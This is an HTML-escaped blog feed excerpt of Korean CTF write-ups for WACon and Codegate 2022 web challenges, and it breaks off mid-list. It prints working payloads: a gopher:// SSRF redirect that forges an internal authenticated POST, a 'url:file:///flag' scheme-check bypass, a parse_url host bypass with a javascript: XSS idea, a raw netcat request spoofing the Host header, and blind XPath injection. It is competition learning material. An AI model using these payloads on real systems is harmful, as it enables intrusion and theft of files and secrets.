&lt;p data-ke-size=&quot;size16&quot;&gt;Authorization 헤더는 curl로 타사이트에서 302로 전달이 안되기때문에 고심하던 찰나&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.us-west-2.amazonaws.com/secure.notion-static.com/07ffc474-9a78-4063-8b03-f5aff70878ba/Untitled.png?X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;amp;X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&amp;amp;X-Amz-Credential=AKIAT73L2G45EIPT3X45%2F20220627%2Fus-west-2%2Fs3%2Faws4_request&amp;amp;X-Amz-Date=20220627T081111Z&amp;amp;X-Amz-Expires=86400&amp;amp;X-Amz-Signature=20e4dfa90549eaf429de566c71895ccc23fe2566613e7664d72c62eb15ab15c9&amp;amp;X-Amz-SignedHeaders=host&amp;amp;response-content-disposition=filename%20%3D%22Untitled.png%22&amp;amp;x-id=GetObject&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;sqli로 테이블 뽑아보니 플래그 일부가 나왔다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;고퍼를 스랜다&lt;/p&gt;
&lt;pre class=&quot;perl&quot;&gt;&lt;code&gt;header(&quot;Location: gopher://127.0.0.1:80/_POST%20/internal_1d607d2c193b.php%20HTTP/1.1%0d%0aHost:%20127.0.0.1:80%0d%0aAuthorization:%20Basic%20YWRtaW4nfHwxIzpndWVzdA==%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%203%0d%0a%0d%0aa=a%0d%0a%0d%0a&quot;);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;gopher로 http raw packet을 만들어 보내면&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.us-west-2.amazonaws.com/secure.notion-static.com/2c3d86e1-8229-46d0-a6d8-d4e4d0ca3cda/Untitled.png?X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;amp;X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&amp;amp;X-Amz-Credential=AKIAT73L2G45EIPT3X45%2F20220627%2Fus-west-2%2Fs3%2Faws4_request&amp;amp;X-Amz-Date=20220627T081124Z&amp;amp;X-Amz-Expires=86400&amp;amp;X-Amz-Signature=b82742b6ce3dd66426b46eef1ed211441d015d5a29e0f6e09dbacc31d7f1f62c&amp;amp;X-Amz-SignedHeaders=host&amp;amp;response-content-disposition=filename%20%3D%22Untitled.png%22&amp;amp;x-id=GetObject&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나머지 패킷 획득&lt;/p&gt;
&lt;pre class=&quot;asciidoc&quot;&gt;&lt;code&gt;**WACon{Try_using_Gophhhher_ffabcdbc}**&lt;/code&gt;&lt;/pre&gt;</description>
      <category>CTF/writeup</category>
      <category>Blackbox</category>
      <category>CTF</category>
      <category>wacon</category>
      <category>Web</category>
      <category>writeup</category>
      <author>ar9ang3</author>
      <guid isPermaLink="true">https://ar9ang3.tistory.com/71</guid>
      <comments>https://ar9ang3.tistory.com/71#entry71comment</comments>
      <pubDate>Tue, 28 Jun 2022 21:16:40 +0900</pubDate>
    </item>
    <item>
      <title>codegate 2022 web(all)/blockchain(nft) write-up</title>
      <link>https://ar9ang3.tistory.com/70</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;본선 못갔으니 대충 쓰겠다..&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹을 너무 빨리 풀어서 블체만 봤는데 개인적으로 블체에 대해 너무 몰라서 많이 아쉬운 감이 있었다 흑흑..&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;nft 문제는 팀원인 epist가 도와줬다(ㄳㄳ)&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style3&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;[Baby First]&lt;/b&gt;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;요약&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;ssrf로&amp;nbsp;regex검사를&amp;nbsp;우회하여&amp;nbsp;local&amp;nbsp;file을&amp;nbsp;leak한다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;당연히 baby 붙어있길래 이거부터 봐서 그런지 퍼스트 솔브를 먹어버린 문제이다 ;;;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;693&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b9Bzkl/btruLtETcFL/fiGOUqmkxVjVuh1o9MFJc1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b9Bzkl/btruLtETcFL/fiGOUqmkxVjVuh1o9MFJc1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b9Bzkl/btruLtETcFL/fiGOUqmkxVjVuh1o9MFJc1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb9Bzkl%2FbtruLtETcFL%2FfiGOUqmkxVjVuh1o9MFJc1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;693&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;693&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대충 코드 보면 &lt;span&gt;class파일 내의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;lookupImg 함수에서 memo의 내용 중 [] 대괄호 안에 들어가는걸 url로 받아 image를 파싱해서 img tag에 넣어준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1646053509955&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;    pattern = Pattern.compile(&quot;^[a-z]+:&quot;);
    matcher = pattern.matcher(tmp);
    if (!matcher.find() || matcher.group().startsWith(&quot;file&quot;))
      return &quot;&quot;;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 때 java.net.URL을 사용해서 넣어주는데, 그 전에 startsWith 함수로 file: 프로토콜로 시작하는지 검사한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;java.net.URL을 auditing 해보면&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;b&gt;&lt;/b&gt;&lt;b&gt;&lt;a href=&quot;https://github.com/AdoptOpenJDK/openjdk-jdk11/blob/19fb8f93c59dfd791f62d41f332db9e306bc1422/src/java.base/share/classes/java/net/URL.java#L575&quot;&gt;https://github.com/AdoptOpenJDK/openjdk-jdk11/blob/19fb8f93c59dfd791f62d41f332db9e306bc1422/src/java.base/share/classes/java/net/URL.java#L575&lt;/a&gt;&lt;/b&gt;&lt;span style=&quot;color: #dcddde;&quot;&gt; &lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1646053460350&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;GitHub - AdoptOpenJDK/openjdk-jdk11: Mirror of the jdk/jdk11 Mercurial forest at OpenJDK&quot; data-og-description=&quot;Mirror of the jdk/jdk11 Mercurial forest at OpenJDK - GitHub - AdoptOpenJDK/openjdk-jdk11: Mirror of the jdk/jdk11 Mercurial forest at OpenJDK&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/AdoptOpenJDK/openjdk-jdk11/blob/19fb8f93c59dfd791f62d41f332db9e306bc1422/src/java.base/share/classes/java/net/URL.java#L575&quot; data-og-url=&quot;https://github.com/AdoptOpenJDK/openjdk-jdk11&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/sFRQh/hyNxGz6vIW/i3lkGEnDRlgzBt07kqjR0K/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600&quot;&gt;&lt;a href=&quot;https://github.com/AdoptOpenJDK/openjdk-jdk11/blob/19fb8f93c59dfd791f62d41f332db9e306bc1422/src/java.base/share/classes/java/net/URL.java#L575&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/AdoptOpenJDK/openjdk-jdk11/blob/19fb8f93c59dfd791f62d41f332db9e306bc1422/src/java.base/share/classes/java/net/URL.java#L575&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/sFRQh/hyNxGz6vIW/i3lkGEnDRlgzBt07kqjR0K/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub - AdoptOpenJDK/openjdk-jdk11: Mirror of the jdk/jdk11 Mercurial forest at OpenJDK&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Mirror of the jdk/jdk11 Mercurial forest at OpenJDK - GitHub - AdoptOpenJDK/openjdk-jdk11: Mirror of the jdk/jdk11 Mercurial forest at OpenJDK&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;563&quot; data-origin-height=&quot;71&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TyHfC/btruMnRXIAO/M1oYubac6cZ4CdKiz7ckb1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TyHfC/btruMnRXIAO/M1oYubac6cZ4CdKiz7ckb1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TyHfC/btruMnRXIAO/M1oYubac6cZ4CdKiz7ckb1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTyHfC%2FbtruMnRXIAO%2FM1oYubac6cZ4CdKiz7ckb1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;563&quot; height=&quot;71&quot; data-origin-width=&quot;563&quot; data-origin-height=&quot;71&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위와같이 url: 로 시작하면 start(input argument, url)를 += 4 해주는것을 볼 수 있따.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;memo=[url:file:///flag] 해주면 풀린다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1325&quot; data-origin-height=&quot;901&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mZTVJ/btruLuqhaPM/czRruB6wi2TV0B0yP2sMI0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mZTVJ/btruLuqhaPM/czRruB6wi2TV0B0yP2sMI0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mZTVJ/btruLuqhaPM/czRruB6wi2TV0B0yP2sMI0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmZTVJ%2FbtruLuqhaPM%2FczRruB6wi2TV0B0yP2sMI0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1325&quot; height=&quot;901&quot; data-origin-width=&quot;1325&quot; data-origin-height=&quot;901&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;[ CAFE ]&lt;/b&gt;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;요약 : xss bot에 admin password가 존재한다(언인텐), parse_url 버그(?)를 이용한다(인텐)&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1646053713694&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;          case 'iframe':
            $src = $element-&amp;gt;src;
            $host = parse_url($src)['host'];
            if (strpos($host, 'youtube.com') !== false){
              $result .= '&amp;lt;iframe src=&quot;'. str_replace('&quot;', '', $src) .'&quot;&amp;gt;&amp;lt;/iframe&amp;gt;';
            }
            break;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;parse_url($src)['host']로 host 검사를 하는데, 이는 쉽게 우회가 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;관련된 문서로는 오랜지 형님 자료가 참 좋다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;찾기 귀찮으니 따로 링크는 올리지 않겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1646053799016&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# xss bot python code

driver.get('http://3.39.55.38:1929/login')
driver.find_element_by_id('id').send_keys('admin')
driver.find_element_by_id('pw').send_keys('$MiLEYEN4') ## ????
driver.find_element_by_id('submit').click()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하튼 원래는 그런문제였지만 xss bot에 패스워드가 들어있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 빠르게 다 풀고 블체까지 보고 완전히 실직한다음 인텐으로 다시 보려했지만 블록체인 한문제를 풀지못하고 그대로 대회가 끝나 보지 못했다. 대충 javascript://youtube.com/[개행][코드]로 하면 될거같다&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;​&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;[ superbee ]&lt;/b&gt;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;요약 : admin/password (언인텐) AES uninitialized key+padding it, iv from key decrypt&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;216&quot; data-origin-height=&quot;108&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bOAsV8/btruKjP6nHE/z6x5CHBrz2Ns44dJLIMYs1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bOAsV8/btruKjP6nHE/z6x5CHBrz2Ns44dJLIMYs1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bOAsV8/btruKjP6nHE/z6x5CHBrz2Ns44dJLIMYs1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbOAsV8%2FbtruKjP6nHE%2Fz6x5CHBrz2Ns44dJLIMYs1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;216&quot; height=&quot;108&quot; data-origin-width=&quot;216&quot; data-origin-height=&quot;108&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;난 솔직히 대회하면서 이문제가 왜 100점까지 털렸지라는 의문을 끝끝내 지울 수가 없었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아 그런데 대회가 끝나고보니 계정이 admin/password 였다고한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;으..;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1646054054741&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ar9ang3@ar9ang3:~/web/dirsearch$ nc 3.39.49.174 30001
GET /admin/authkey HTTP/1.2
Host: localhost

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2022 11:44:45 GMT
Content-Length: 96
Content-Type: text/plain; charset=utf-8

00fb3dcf5ecaad607aeb0c91e9b194d9f9f9e263cebd55cdf1ec2a327d033be657c2582de2ef1ba6d77fd22784011607&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 auth_key를 auth_secret_key였나? 하튼 그거가지고 AES CBC Encrypt해서 admin페이지에 뿌려준다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;host localhost로 검사하고있지만 걍 직접 nc로 붙어서 host 바꿔주니 뚝 떨어졌다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1646054135336&quot; class=&quot;go&quot; data-ke-language=&quot;go&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;func (this *AdminController) AuthKey() {
    encrypted_auth_key, _ := AesEncrypt([]byte(auth_key), []byte(auth_crypt_key))
    this.Ctx.WriteString(hex.EncodeToString(encrypted_auth_key))
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대충 코드 보면 위에서 암호화할때 쓰이는 auth_crypt_key가 선언만 되어있고 값을 불러오지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1646054183369&quot; class=&quot;go&quot; data-ke-language=&quot;go&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;func AesEncrypt(origData, key []byte) ([]byte, error) {
    padded_key := Padding(key, 16)
    block, err := aes.NewCipher(padded_key)
    if err != nil {
        return nil, err
    }
    blockSize := block.BlockSize()
    origData = Padding(origData, blockSize)
    blockMode := cipher.NewCBCEncrypter(block, padded_key[:blockSize])
    crypted := make([]byte, len(origData))
    blockMode.CryptBlocks(crypted, origData)
    return crypted, nil
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러고 그걸 key size만큼 padding해주는데 그 결과는 \x10*16 이다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;iv 또한 위의 padding으로 만들어진 key의 값에서 blocksize만큼 잘라서 쓰기 때문에 우리는 key와 iv를 모두 안다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1646054233624&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;arang@DESKTOP-TUE2B66:/mnt/d/jw/personal/ctf/2022codegate$ python3 a.py
b'Th15_sup3r_s3cr3t_K3y_N3v3r_B3_L34k3d\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b'&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;개같이 복호화&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1037&quot; data-origin-height=&quot;631&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kTKdQ/btruMoDl472/DB3fGux7YbKE43oRYROnr1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kTKdQ/btruMoDl472/DB3fGux7YbKE43oRYROnr1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kTKdQ/btruMoDl472/DB3fGux7YbKE43oRYROnr1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkTKdQ%2FbtruMoDl472%2FDB3fGux7YbKE43oRYROnr1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1037&quot; height=&quot;631&quot; data-origin-width=&quot;1037&quot; data-origin-height=&quot;631&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;개같이 플래그&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;​&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;[ myblog ]&lt;/b&gt;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;요약 : blind xpath injection으로 catalina.properties에 설정된 environ variable leak&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 jsp 문제 나오면 일단 톰캣, jdk부터 오디팅하는 습관이 들어져버렸다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대충 catalina.properties에 플래그 세팅해준거 보니 System.getProperty 같은 함수가 xpath 사용할 때 내부적으로 쓸거라 생각이 들어 우리의 갓-서브라임 형님께 ctrl+shift+f로 getProperty 검색해서 reference check를 했다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러다보니 뭐 SecuritySupport.java에 쓰는게 있었는데 대충 기억해놓고있다가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;693&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cLAzop/btruLs0jSFX/txo4NOicCUOd1sSUGLKbR1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cLAzop/btruLs0jSFX/txo4NOicCUOd1sSUGLKbR1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cLAzop/btruLs0jSFX/txo4NOicCUOd1sSUGLKbR1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcLAzop%2FbtruLs0jSFX%2Ftxo4NOicCUOd1sSUGLKbR1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;693&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;693&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대충 xpath function들 이용해서 풀거같아서 그쪽 보니 system-property라고 아주 좋아보이는 놈이 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: disc;&quot; data-list-id=&quot;chat-messages&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li id=&quot;chat-messages-947244217296633857&quot;&gt;
&lt;div data-list-item-id=&quot;chat-messages___chat-messages-947244217296633857&quot;&gt;
&lt;div&gt;
&lt;div id=&quot;message-content-947244217296633857&quot;&gt;&lt;a href=&quot;https://github.com/AdoptOpenJDK/openjdk-jdk11/blob/master/src/java.xml/share/classes/com/sun/org/apache/xpath/internal/compiler/Keywords.java#L301&quot;&gt;https://github.com/AdoptOpenJDK/openjdk-jdk11/blob/master/src/java.xml/share/classes/com/sun/org/apache/xpath/internal/compiler/Keywords.java#L301&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;li id=&quot;chat-messages-947244470842314762&quot;&gt;
&lt;div data-list-item-id=&quot;chat-messages___chat-messages-947244470842314762&quot;&gt;
&lt;div&gt;
&lt;div id=&quot;message-content-947244470842314762&quot;&gt;&lt;a href=&quot;https://github.com/AdoptOpenJDK/openjdk-jdk11/blob/master/src/java.xml/share/classes/com/sun/org/apache/xpath/internal/compiler/FunctionTable.java#L224&quot;&gt;https://github.com/AdoptOpenJDK/openjdk-jdk11/blob/master/src/java.xml/share/classes/com/sun/org/apache/xpath/internal/compiler/FunctionTable.java#L224&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;li id=&quot;chat-messages-947244656159227969&quot;&gt;
